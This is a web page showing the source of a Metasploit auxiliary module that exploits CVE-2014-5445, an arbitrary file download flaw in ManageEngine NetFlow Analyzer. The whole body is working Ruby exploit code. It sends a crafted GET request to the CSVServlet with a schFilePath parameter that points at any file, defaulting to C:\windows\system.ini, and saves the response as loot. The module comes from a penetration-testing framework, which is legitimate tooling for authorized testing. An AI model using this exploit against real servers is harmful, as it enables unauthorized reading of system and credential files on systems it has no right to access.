Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/netflow_file_download.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',14'Description' => %q{15This module exploits an arbitrary file download vulnerability in CSVServlet16on ManageEngine NetFlow Analyzer. This module has been tested on both Windows17and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you18must escape the backslash with a backslash.19},20'Author' => [21'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module22],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2014-5445' ],26[ 'OSVDB', '115340' ],27[ 'URL', 'https://seclists.org/fulldisclosure/2014/Dec/9' ],28[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ]29],30'DisclosureDate' => '2014-11-30'31)32)3334register_options(35[36Opt::RPORT(8080),37OptString.new('TARGETURI',38[ true, 'The base path to NetFlow Analyzer', '/netflow' ]),39OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']),40]41)42end4344def run45# Create request46begin47print_status("Downloading file #{datastore['FILEPATH']}")48res = send_request_cgi({49'method' => 'GET',50'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),51'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }52})53rescue Rex::ConnectionError54print_error('Could not connect.')55return56end5758# Show data if needed59if res && res.code == 20060if res.body.to_s.bytesize == 061print_error('0 bytes returned, file does not exist or it is empty.')62return63end64vprint_line(res.body.to_s)65fname = File.basename(datastore['FILEPATH'])6667path = store_loot(68'netflow.http',69'application/octet-stream',70datastore['RHOST'],71res.body,72fname73)74print_good("File saved in: #{path}")75else76print_error('Failed to download file.')77end78end79end808182